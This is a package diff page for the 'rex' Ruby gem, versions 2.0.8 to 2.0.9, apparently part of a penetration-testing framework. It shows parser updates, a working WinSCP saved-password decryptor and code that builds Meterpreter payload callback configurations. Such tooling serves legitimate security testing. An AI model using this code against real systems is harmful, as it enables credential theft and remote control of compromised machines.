rex 2.0.8 → 2.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/rex.rb +1 -0
- data/lib/rex/arch.rb +5 -0
- data/lib/rex/arch/x86.rb +19 -5
- data/lib/rex/arch/zarch.rb +17 -0
- data/lib/rex/compat.rb +5 -4
- data/lib/rex/constants.rb +3 -1
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
- data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
- data/lib/rex/exploitation/cmdstager.rb +1 -0
- data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
- data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
- data/lib/rex/exploitation/egghunter.rb +1 -1
- data/lib/rex/google/geolocation.rb +68 -0
- data/lib/rex/io/bidirectional_pipe.rb +0 -4
- data/lib/rex/java/serialization.rb +2 -0
- data/lib/rex/java/serialization/decode_error.rb +11 -0
- data/lib/rex/java/serialization/encode_error.rb +11 -0
- data/lib/rex/java/serialization/model.rb +2 -0
- data/lib/rex/java/serialization/model/annotation.rb +3 -3
- data/lib/rex/java/serialization/model/block_data.rb +3 -3
- data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
- data/lib/rex/java/serialization/model/class_desc.rb +6 -6
- data/lib/rex/java/serialization/model/contents.rb +17 -10
- data/lib/rex/java/serialization/model/field.rb +12 -11
- data/lib/rex/java/serialization/model/long_utf.rb +3 -3
- data/lib/rex/java/serialization/model/new_array.rb +22 -23
- data/lib/rex/java/serialization/model/new_class.rb +57 -0
- data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
- data/lib/rex/java/serialization/model/new_enum.rb +5 -5
- data/lib/rex/java/serialization/model/new_object.rb +22 -17
- data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
- data/lib/rex/java/serialization/model/reference.rb +4 -4
- data/lib/rex/java/serialization/model/stream.rb +7 -7
- data/lib/rex/java/serialization/model/utf.rb +3 -3
- data/lib/rex/json_hash_file.rb +94 -0
- data/lib/rex/logging/log_sink.rb +1 -0
- data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
- data/lib/rex/parser/appscan_nokogiri.rb +13 -23
- data/lib/rex/parser/fs/ntfs.rb +10 -5
- data/lib/rex/parser/nmap_nokogiri.rb +3 -1
- data/lib/rex/parser/openvas_nokogiri.rb +70 -73
- data/lib/rex/parser/winscp.rb +108 -0
- data/lib/rex/parser/x509_certificate.rb +92 -0
- data/lib/rex/payloads.rb +0 -1
- data/lib/rex/payloads/meterpreter/config.rb +154 -0
- data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
- data/lib/rex/post/meterpreter.rb +1 -1
- data/lib/rex/post/meterpreter/client.rb +26 -3
- data/lib/rex/post/meterpreter/client_core.rb +387 -75
- data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
- data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
- data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
- data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
- data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
- data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
- data/lib/rex/post/meterpreter/packet.rb +29 -0
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
- data/lib/rex/post/meterpreter/ui/console.rb +1 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
- data/lib/rex/powershell.rb +62 -0
- data/lib/rex/powershell/command.rb +359 -0
- data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
- data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
- data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
- data/lib/rex/powershell/parser.rb +182 -0
- data/lib/rex/powershell/payload.rb +78 -0
- data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
- data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
- data/lib/rex/proto/dcerpc/client.rb +6 -6
- data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
- data/lib/rex/proto/http/client.rb +3 -3
- data/lib/rex/proto/http/client_request.rb +0 -5
- data/lib/rex/proto/http/response.rb +86 -0
- data/lib/rex/proto/ipmi/utils.rb +30 -26
- data/lib/rex/proto/kerberos/client.rb +1 -1
- data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
- data/lib/rex/proto/rfb/client.rb +8 -3
- data/lib/rex/proto/rfb/constants.rb +1 -1
- data/lib/rex/proto/rmi.rb +2 -0
- data/lib/rex/proto/rmi/decode_error.rb +10 -0
- data/lib/rex/proto/rmi/exception.rb +10 -0
- data/lib/rex/proto/rmi/model.rb +5 -0
- data/lib/rex/proto/rmi/model/call.rb +4 -4
- data/lib/rex/proto/rmi/model/call_data.rb +137 -0
- data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/element.rb +26 -11
- data/lib/rex/proto/rmi/model/output_header.rb +4 -4
- data/lib/rex/proto/rmi/model/ping.rb +2 -2
- data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
- data/lib/rex/proto/rmi/model/return_data.rb +5 -5
- data/lib/rex/proto/rmi/model/return_value.rb +124 -0
- data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
- data/lib/rex/proto/steam.rb +3 -0
- data/lib/rex/proto/steam/message.rb +125 -0
- data/lib/rex/proto/tftp/client.rb +35 -14
- data/lib/rex/random_identifier_generator.rb +2 -0
- data/lib/rex/ropbuilder.rb +1 -1
- data/lib/rex/socket/parameters.rb +9 -0
- data/lib/rex/socket/ssl_tcp.rb +25 -41
- data/lib/rex/socket/ssl_tcp_server.rb +10 -21
- data/lib/rex/sslscan/result.rb +20 -1
- data/lib/rex/text.rb +241 -55
- data/lib/rex/ui/output.rb +0 -3
- data/lib/rex/ui/subscriber.rb +0 -10
- data/lib/rex/ui/text/color.rb +9 -0
- data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
- data/lib/rex/ui/text/output.rb +15 -4
- data/lib/rex/ui/text/output/file.rb +1 -0
- data/lib/rex/ui/text/output/stdio.rb +0 -16
- data/lib/rex/ui/text/shell.rb +3 -0
- data/lib/rex/ui/text/table.rb +85 -19
- data/lib/rex/user_agent.rb +118 -0
- data/rex.gemspec +2 -2
- metadata +41 -14
- data/lib/rex/exploitation/powershell.rb +0 -62
- data/lib/rex/exploitation/powershell/parser.rb +0 -183
- data/lib/rex/payloads/meterpreter.rb +0 -2
- data/lib/rex/payloads/meterpreter/patch.rb +0 -136
|
@@ -15,6 +15,12 @@ module Parser
|
|
|
15
15
|
attrs = normalize_attrs(attrs)
|
|
16
16
|
block = @block
|
|
17
17
|
@state[:current_tag][name] = true
|
|
18
|
+
|
|
19
|
+
unless @text.nil?
|
|
20
|
+
@state[:text_backup] = @text
|
|
21
|
+
@text = nil
|
|
22
|
+
end
|
|
23
|
+
|
|
18
24
|
case name
|
|
19
25
|
when "host"
|
|
20
26
|
@state[:has_text] = true
|
|
@@ -25,97 +31,90 @@ module Parser
|
|
|
25
31
|
def end_element(name=nil)
|
|
26
32
|
block = @block
|
|
27
33
|
case name
|
|
28
|
-
when
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
when
|
|
34
|
+
when 'name'
|
|
35
|
+
if in_tag('result')
|
|
36
|
+
@state[:has_text] = true
|
|
37
|
+
@state[:vuln_name] = @text.strip if @text
|
|
38
|
+
end
|
|
39
|
+
when 'description'
|
|
34
40
|
@state[:has_text] = true
|
|
35
41
|
@state[:vuln_desc] = @text.strip if @text
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
@state[:has_text] = true
|
|
41
|
-
@state[:bid] = @text.strip if @text
|
|
42
|
-
@text = nil
|
|
43
|
-
when "cve"
|
|
44
|
-
return if not in_tag("result")
|
|
45
|
-
return if not in_tag("nvt")
|
|
46
|
-
@state[:has_text] = true
|
|
47
|
-
@state[:cves] = @text.strip if @text
|
|
48
|
-
@text = nil
|
|
49
|
-
when "risk_factor"
|
|
50
|
-
return if not in_tag("result")
|
|
51
|
-
return if not in_tag("nvt")
|
|
52
|
-
|
|
53
|
-
#we do this to clean out the buffer so to speak
|
|
54
|
-
#if we don't set text to nil now, the text will show up later
|
|
55
|
-
@state[:has_text] = true
|
|
56
|
-
@text = nil
|
|
57
|
-
when "cvss_base"
|
|
58
|
-
return if not in_tag("result")
|
|
59
|
-
return if not in_tag("nvt")
|
|
60
|
-
@state[:has_text] = true
|
|
61
|
-
@text = nil
|
|
62
|
-
when "subnet"
|
|
63
|
-
@state[:has_text] = true
|
|
64
|
-
@text = nil
|
|
65
|
-
when "result"
|
|
66
|
-
return if not in_tag("results")
|
|
67
|
-
record_vuln
|
|
68
|
-
when "threat"
|
|
69
|
-
return if not in_tag("ports")
|
|
70
|
-
return if not in_tag("port")
|
|
71
|
-
@state[:has_text] = true
|
|
72
|
-
|
|
73
|
-
if not @text.index('(')
|
|
74
|
-
@state[:name] = nil
|
|
75
|
-
@state[:port] = nil
|
|
76
|
-
@state[:proto] = nil
|
|
77
|
-
@text = nil
|
|
78
|
-
return
|
|
42
|
+
when 'bid'
|
|
43
|
+
if in_tag('result') && in_tag('nvt')
|
|
44
|
+
@state[:has_text] = true
|
|
45
|
+
@state[:bid] = @text.strip if @text
|
|
79
46
|
end
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
47
|
+
when 'cve'
|
|
48
|
+
if in_tag('result') && in_tag('nvt')
|
|
49
|
+
@state[:has_text] = true
|
|
50
|
+
@state[:cves] = @text.strip if @text
|
|
51
|
+
end
|
|
52
|
+
when 'risk_factor'
|
|
53
|
+
if in_tag('result') && in_tag('nvt')
|
|
54
|
+
#we do this to clean out the buffer so to speak
|
|
55
|
+
#if we don't set text to nil now, the text will show up later
|
|
56
|
+
@state[:has_text] = true
|
|
57
|
+
end
|
|
58
|
+
when 'cvss_base'
|
|
59
|
+
if in_tag('result') && in_tag('nvt')
|
|
60
|
+
@state[:has_text] = true
|
|
61
|
+
end
|
|
62
|
+
when 'subnet'
|
|
63
|
+
@state[:has_text] = true
|
|
64
|
+
when 'result'
|
|
65
|
+
record_vuln if in_tag('results')
|
|
66
|
+
when 'threat'
|
|
67
|
+
@state[:has_text] = true if in_tag('ports') && in_tag('port')
|
|
68
|
+
when 'host'
|
|
87
69
|
if in_tag('result')
|
|
88
70
|
@state[:has_text] = true
|
|
89
71
|
@state[:host] = @text.strip if @text
|
|
90
|
-
|
|
91
|
-
elsif in_tag('ports')
|
|
92
|
-
return if not in_tag('port')
|
|
72
|
+
elsif in_tag('ports') && in_tag('port')
|
|
93
73
|
@state[:has_text] = true
|
|
94
74
|
@state[:host] = @text.strip if @text
|
|
95
|
-
@text = nil
|
|
96
75
|
end
|
|
97
|
-
when
|
|
76
|
+
when 'port'
|
|
98
77
|
if in_tag('result')
|
|
99
78
|
@state[:has_text] = true
|
|
100
|
-
if
|
|
79
|
+
if @text && @text.index('(')
|
|
80
|
+
@state[:proto] = @text.split('(')[1].split('/')[1].gsub(/\)/, '')
|
|
81
|
+
@state[:port] = @text.split('(')[1].split('/')[0].gsub(/\)/, '')
|
|
82
|
+
elsif @text && @text.index('/')
|
|
83
|
+
@state[:proto] = @text.split('/')[1].strip
|
|
84
|
+
@state[:port] = @text.split('/')[0].strip
|
|
85
|
+
else
|
|
86
|
+
@state[:proto] = nil
|
|
87
|
+
@state[:port] = nil
|
|
88
|
+
end
|
|
89
|
+
|
|
90
|
+
if @state[:port] && @state[:port] == 'general'
|
|
101
91
|
@state[:proto] = nil
|
|
102
92
|
@state[:port] = nil
|
|
103
|
-
@text = nil
|
|
104
|
-
return
|
|
105
93
|
end
|
|
106
|
-
@state[:proto] = @text.split('(')[0].strip if @text
|
|
107
|
-
@state[:port] = @text.split('(')[1].split('/')[0].gsub(/\)/, '') if @text
|
|
108
|
-
@text = nil
|
|
109
94
|
elsif in_tag('ports')
|
|
110
|
-
|
|
95
|
+
if @text && @text.index('(')
|
|
96
|
+
@state[:name] = @text.split(' ')[0]
|
|
97
|
+
@state[:port] = @text.split('(')[1].split('/')[0]
|
|
98
|
+
@state[:proto] = @text.split('(')[1].split('/')[1].split(')')[0]
|
|
99
|
+
record_service unless @state[:name].nil?
|
|
100
|
+
elsif @text && @text.index('/')
|
|
101
|
+
@state[:port] = @text.split('/')[0]
|
|
102
|
+
@state[:proto] = @text.split('/')[1]
|
|
103
|
+
record_service unless @state[:port] == 'general'
|
|
104
|
+
end
|
|
111
105
|
end
|
|
112
|
-
when
|
|
113
|
-
return if not in_tag(
|
|
106
|
+
when 'name'
|
|
107
|
+
return if not in_tag('result')
|
|
114
108
|
@state[:has_text] = true
|
|
115
|
-
|
|
109
|
+
end
|
|
110
|
+
|
|
111
|
+
if @state[:text_backup]
|
|
112
|
+
@text = @state[:text_backup]
|
|
113
|
+
@state[:text_backup] = nil
|
|
116
114
|
else
|
|
117
115
|
@text = nil
|
|
118
116
|
end
|
|
117
|
+
|
|
119
118
|
@state[:current_tag].delete name
|
|
120
119
|
end
|
|
121
120
|
|
|
@@ -153,8 +152,6 @@ module Parser
|
|
|
153
152
|
end
|
|
154
153
|
|
|
155
154
|
def record_service
|
|
156
|
-
return if not @state[:name]
|
|
157
|
-
|
|
158
155
|
service_info = {}
|
|
159
156
|
service_info[:host] = @state[:host]
|
|
160
157
|
service_info[:name] = @state[:name]
|
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
require 'rex/parser/ini'
|
|
2
|
+
|
|
3
|
+
module Rex
|
|
4
|
+
module Parser
|
|
5
|
+
module WinSCP
|
|
6
|
+
PWDALG_SIMPLE_MAGIC = 0xA3
|
|
7
|
+
PWDALG_SIMPLE_FLAG = 0xFF
|
|
8
|
+
|
|
9
|
+
def read_and_parse_ini(filename)
|
|
10
|
+
file = File.read(filename)
|
|
11
|
+
return if file.to_s.empty?
|
|
12
|
+
parse_ini(file)
|
|
13
|
+
end
|
|
14
|
+
|
|
15
|
+
def parse_protocol(fsprotocol)
|
|
16
|
+
return 'Unknown' if fsprotocol.nil?
|
|
17
|
+
|
|
18
|
+
case fsprotocol
|
|
19
|
+
when 5 then 'FTP'
|
|
20
|
+
when 0 then 'SSH'
|
|
21
|
+
else
|
|
22
|
+
'Unknown'
|
|
23
|
+
end
|
|
24
|
+
end
|
|
25
|
+
|
|
26
|
+
def parse_ini(file)
|
|
27
|
+
results = []
|
|
28
|
+
raise RuntimeError, 'No data to parse' if file.nil? || file.empty?
|
|
29
|
+
|
|
30
|
+
ini = Rex::Parser::Ini.from_s(file)
|
|
31
|
+
|
|
32
|
+
if ini['Configuration\\Security']
|
|
33
|
+
# if a Master Password is in use we give up
|
|
34
|
+
if ini['Configuration\\Security']['UseMasterPassword'].to_i == 1
|
|
35
|
+
raise RuntimeError, 'Master Password Set, unable to recover saved passwords!'
|
|
36
|
+
end
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
# Runs through each group in the ini file looking for all of the Sessions
|
|
40
|
+
ini.each_key do |group|
|
|
41
|
+
if group.include?('Sessions') && ini[group].has_key?('Password')
|
|
42
|
+
# Decrypt our password, and report on results
|
|
43
|
+
encrypted_password = ini[group]['Password']
|
|
44
|
+
user = ini[group]['UserName']
|
|
45
|
+
host = ini[group]['HostName']
|
|
46
|
+
sname = parse_protocol(ini[group]['FSProtocol'].to_i)
|
|
47
|
+
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
|
|
48
|
+
|
|
49
|
+
results << {
|
|
50
|
+
hostname: host,
|
|
51
|
+
password: plaintext,
|
|
52
|
+
portnumber: ini[group]['PortNumber'] || 22,
|
|
53
|
+
username: user,
|
|
54
|
+
protocol: sname
|
|
55
|
+
}
|
|
56
|
+
end
|
|
57
|
+
end
|
|
58
|
+
|
|
59
|
+
results
|
|
60
|
+
end
|
|
61
|
+
|
|
62
|
+
# Decrypts the next character in the password sequence
|
|
63
|
+
def decrypt_next_char(pwd)
|
|
64
|
+
if pwd.nil? || pwd.length <= 0
|
|
65
|
+
return 0, pwd
|
|
66
|
+
end
|
|
67
|
+
|
|
68
|
+
# Takes the first char from the encrypted password and then left shifts the returned index by 4 bits
|
|
69
|
+
a = pwd[0].hex << 4
|
|
70
|
+
|
|
71
|
+
# Takes the second char from the encrypted password
|
|
72
|
+
b = pwd[1].hex
|
|
73
|
+
|
|
74
|
+
# Adds the two results, XORs against 0xA3, NOTs it and then ANDs it with 0xFF
|
|
75
|
+
result = ~((a + b) ^ PWDALG_SIMPLE_MAGIC) & PWDALG_SIMPLE_FLAG
|
|
76
|
+
|
|
77
|
+
# Strips the first two chars off and returns our result
|
|
78
|
+
return result, pwd[2..-1]
|
|
79
|
+
end
|
|
80
|
+
|
|
81
|
+
def decrypt_password(pwd, key)
|
|
82
|
+
flag, pwd = decrypt_next_char(pwd)
|
|
83
|
+
|
|
84
|
+
if flag == PWDALG_SIMPLE_FLAG
|
|
85
|
+
_, pwd = decrypt_next_char(pwd)
|
|
86
|
+
length, pwd = decrypt_next_char(pwd)
|
|
87
|
+
else
|
|
88
|
+
length = flag
|
|
89
|
+
end
|
|
90
|
+
|
|
91
|
+
del, pwd = decrypt_next_char(pwd)
|
|
92
|
+
pwd = pwd[del*2..-1]
|
|
93
|
+
|
|
94
|
+
result = ""
|
|
95
|
+
length.times do
|
|
96
|
+
r, pwd = decrypt_next_char(pwd)
|
|
97
|
+
result << r.chr
|
|
98
|
+
end
|
|
99
|
+
|
|
100
|
+
if flag == PWDALG_SIMPLE_FLAG
|
|
101
|
+
result = result[key.length..-1]
|
|
102
|
+
end
|
|
103
|
+
|
|
104
|
+
result
|
|
105
|
+
end
|
|
106
|
+
end
|
|
107
|
+
end
|
|
108
|
+
end
|
|
@@ -0,0 +1,92 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
|
|
3
|
+
require 'openssl'
|
|
4
|
+
|
|
5
|
+
module Rex
|
|
6
|
+
module Parser
|
|
7
|
+
|
|
8
|
+
###
|
|
9
|
+
#
|
|
10
|
+
# This class parses the contents of a PEM-encoded X509 certificate file containing
|
|
11
|
+
# a private key, a public key, and any appended glue certificates.
|
|
12
|
+
#
|
|
13
|
+
###
|
|
14
|
+
class X509Certificate
|
|
15
|
+
|
|
16
|
+
#
|
|
17
|
+
# Parse a certificate in unified PEM format that contains a private key and
|
|
18
|
+
# one or more certificates. The first certificate is the primary, while any
|
|
19
|
+
# additional certificates are treated as intermediary certificates. This emulates
|
|
20
|
+
# the behavior of web servers like nginx.
|
|
21
|
+
#
|
|
22
|
+
# @param [String] ssl_cert
|
|
23
|
+
# @return [String, String, Array]
|
|
24
|
+
def self.parse_pem(ssl_cert)
|
|
25
|
+
cert = nil
|
|
26
|
+
key = nil
|
|
27
|
+
chain = nil
|
|
28
|
+
|
|
29
|
+
certs = []
|
|
30
|
+
ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem|
|
|
31
|
+
if pem =~ /PRIVATE KEY/
|
|
32
|
+
key = OpenSSL::PKey::RSA.new(pem)
|
|
33
|
+
elsif pem =~ /CERTIFICATE/
|
|
34
|
+
certs << OpenSSL::X509::Certificate.new(pem)
|
|
35
|
+
end
|
|
36
|
+
end
|
|
37
|
+
|
|
38
|
+
cert = certs.shift
|
|
39
|
+
if certs.length > 0
|
|
40
|
+
chain = certs
|
|
41
|
+
end
|
|
42
|
+
|
|
43
|
+
[key, cert, chain]
|
|
44
|
+
end
|
|
45
|
+
|
|
46
|
+
#
|
|
47
|
+
# Parse a certificate in unified PEM format from a file
|
|
48
|
+
#
|
|
49
|
+
# @param [String] ssl_cert_file
|
|
50
|
+
# @return [String, String, Array]
|
|
51
|
+
def self.parse_pem_file(ssl_cert_file)
|
|
52
|
+
data = ''
|
|
53
|
+
::File.open(ssl_cert_file, 'rb') do |fd|
|
|
54
|
+
data << fd.read(fd.stat.size)
|
|
55
|
+
end
|
|
56
|
+
parse_pem(data)
|
|
57
|
+
end
|
|
58
|
+
|
|
59
|
+
#
|
|
60
|
+
# Parse a certificate in unified PEM format and retrieve
|
|
61
|
+
# the SHA1 hash.
|
|
62
|
+
#
|
|
63
|
+
# @param [String] ssl_cert
|
|
64
|
+
# @return [String]
|
|
65
|
+
def self.get_cert_hash(ssl_cert)
|
|
66
|
+
hcert = parse_pem(ssl_cert)
|
|
67
|
+
|
|
68
|
+
unless hcert and hcert[0] and hcert[1]
|
|
69
|
+
raise ArgumentError, "Could not parse a private key and certificate"
|
|
70
|
+
end
|
|
71
|
+
|
|
72
|
+
Rex::Text.sha1_raw(hcert[1].to_der)
|
|
73
|
+
end
|
|
74
|
+
|
|
75
|
+
#
|
|
76
|
+
# Parse a file that contains a certificate in unified PEM
|
|
77
|
+
# format and retrieve the SHA1 hash.
|
|
78
|
+
#
|
|
79
|
+
# @param [String] ssl_cert_file
|
|
80
|
+
# @return [String]
|
|
81
|
+
def self.get_cert_file_hash(ssl_cert_file)
|
|
82
|
+
data = ''
|
|
83
|
+
::File.open(ssl_cert_file, 'rb') do |fd|
|
|
84
|
+
data << fd.read(fd.stat.size)
|
|
85
|
+
end
|
|
86
|
+
get_cert_hash(data)
|
|
87
|
+
end
|
|
88
|
+
|
|
89
|
+
end
|
|
90
|
+
|
|
91
|
+
end
|
|
92
|
+
end
|
data/lib/rex/payloads.rb
CHANGED
|
@@ -0,0 +1,154 @@
|
|
|
1
|
+
# -*- coding: binary -*-
|
|
2
|
+
require 'msf/core/payload/uuid'
|
|
3
|
+
require 'msf/core/payload/windows'
|
|
4
|
+
require 'msf/core/reflective_dll_loader'
|
|
5
|
+
require 'rex/parser/x509_certificate'
|
|
6
|
+
|
|
7
|
+
class Rex::Payloads::Meterpreter::Config
|
|
8
|
+
|
|
9
|
+
include Msf::ReflectiveDLLLoader
|
|
10
|
+
|
|
11
|
+
URL_SIZE = 512
|
|
12
|
+
UA_SIZE = 256
|
|
13
|
+
PROXY_HOST_SIZE = 128
|
|
14
|
+
PROXY_USER_SIZE = 64
|
|
15
|
+
PROXY_PASS_SIZE = 64
|
|
16
|
+
CERT_HASH_SIZE = 20
|
|
17
|
+
|
|
18
|
+
def initialize(opts={})
|
|
19
|
+
@opts = opts
|
|
20
|
+
if opts[:ascii_str] == true
|
|
21
|
+
@to_str = self.method(:to_ascii)
|
|
22
|
+
else
|
|
23
|
+
@to_str = self.method(:to_wchar_t)
|
|
24
|
+
end
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
def to_b
|
|
28
|
+
config_block
|
|
29
|
+
end
|
|
30
|
+
|
|
31
|
+
private
|
|
32
|
+
|
|
33
|
+
def is_x86?
|
|
34
|
+
@opts[:arch] == ARCH_X86
|
|
35
|
+
end
|
|
36
|
+
|
|
37
|
+
def to_str(item, size)
|
|
38
|
+
@to_str.call(item, size)
|
|
39
|
+
end
|
|
40
|
+
|
|
41
|
+
def to_wchar_t(item, size)
|
|
42
|
+
to_ascii(item, size).unpack('C*').pack('v*')
|
|
43
|
+
end
|
|
44
|
+
|
|
45
|
+
def to_ascii(item, size)
|
|
46
|
+
item.to_s.ljust(size, "\x00")
|
|
47
|
+
end
|
|
48
|
+
|
|
49
|
+
def session_block(opts)
|
|
50
|
+
uuid = opts[:uuid].to_raw
|
|
51
|
+
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
|
|
52
|
+
|
|
53
|
+
session_data = [
|
|
54
|
+
0, # comms socket, patched in by the stager
|
|
55
|
+
exit_func, # exit function identifer
|
|
56
|
+
opts[:expiration], # Session expiry
|
|
57
|
+
uuid # the UUID
|
|
58
|
+
]
|
|
59
|
+
|
|
60
|
+
session_data.pack('VVVA*')
|
|
61
|
+
end
|
|
62
|
+
|
|
63
|
+
def transport_block(opts)
|
|
64
|
+
# Build the URL from the given parameters, and pad it out to the
|
|
65
|
+
# correct size
|
|
66
|
+
lhost = opts[:lhost]
|
|
67
|
+
if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost)
|
|
68
|
+
lhost = "[#{lhost}]"
|
|
69
|
+
end
|
|
70
|
+
|
|
71
|
+
url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}"
|
|
72
|
+
url << "#{opts[:uri]}/" if opts[:uri]
|
|
73
|
+
url << "?#{opts[:scope_id]}" if opts[:scope_id]
|
|
74
|
+
|
|
75
|
+
# if the transport URI is for a HTTP payload we need to add a stack
|
|
76
|
+
# of other stuff
|
|
77
|
+
pack = 'A*VVV'
|
|
78
|
+
transport_data = [
|
|
79
|
+
to_str(url, URL_SIZE), # transport URL
|
|
80
|
+
opts[:comm_timeout], # communications timeout
|
|
81
|
+
opts[:retry_total], # retry total time
|
|
82
|
+
opts[:retry_wait] # retry wait time
|
|
83
|
+
]
|
|
84
|
+
|
|
85
|
+
if url.start_with?('http')
|
|
86
|
+
proxy_host = ''
|
|
87
|
+
if opts[:proxy_host] && opts[:proxy_port]
|
|
88
|
+
prefix = 'http://'
|
|
89
|
+
prefix = 'socks=' if opts[:proxy_type].downcase == 'socks'
|
|
90
|
+
proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
|
91
|
+
end
|
|
92
|
+
proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)
|
|
93
|
+
proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
|
|
94
|
+
proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
|
|
95
|
+
ua = to_str(opts[:ua] || '', UA_SIZE)
|
|
96
|
+
|
|
97
|
+
cert_hash = "\x00" * CERT_HASH_SIZE
|
|
98
|
+
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
|
|
99
|
+
|
|
100
|
+
# add the HTTP specific stuff
|
|
101
|
+
transport_data << proxy_host # Proxy host name
|
|
102
|
+
transport_data << proxy_user # Proxy user name
|
|
103
|
+
transport_data << proxy_pass # Proxy password
|
|
104
|
+
transport_data << ua # HTTP user agent
|
|
105
|
+
transport_data << cert_hash # SSL cert hash for verification
|
|
106
|
+
|
|
107
|
+
# update the packing spec
|
|
108
|
+
pack << 'A*A*A*A*A*'
|
|
109
|
+
end
|
|
110
|
+
|
|
111
|
+
# return the packed transport information
|
|
112
|
+
transport_data.pack(pack)
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
def extension_block(ext_name, file_extension)
|
|
116
|
+
ext_name = ext_name.strip.downcase
|
|
117
|
+
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
|
|
118
|
+
file_extension))
|
|
119
|
+
|
|
120
|
+
extension_data = [ ext.length, ext ].pack('VA*')
|
|
121
|
+
end
|
|
122
|
+
|
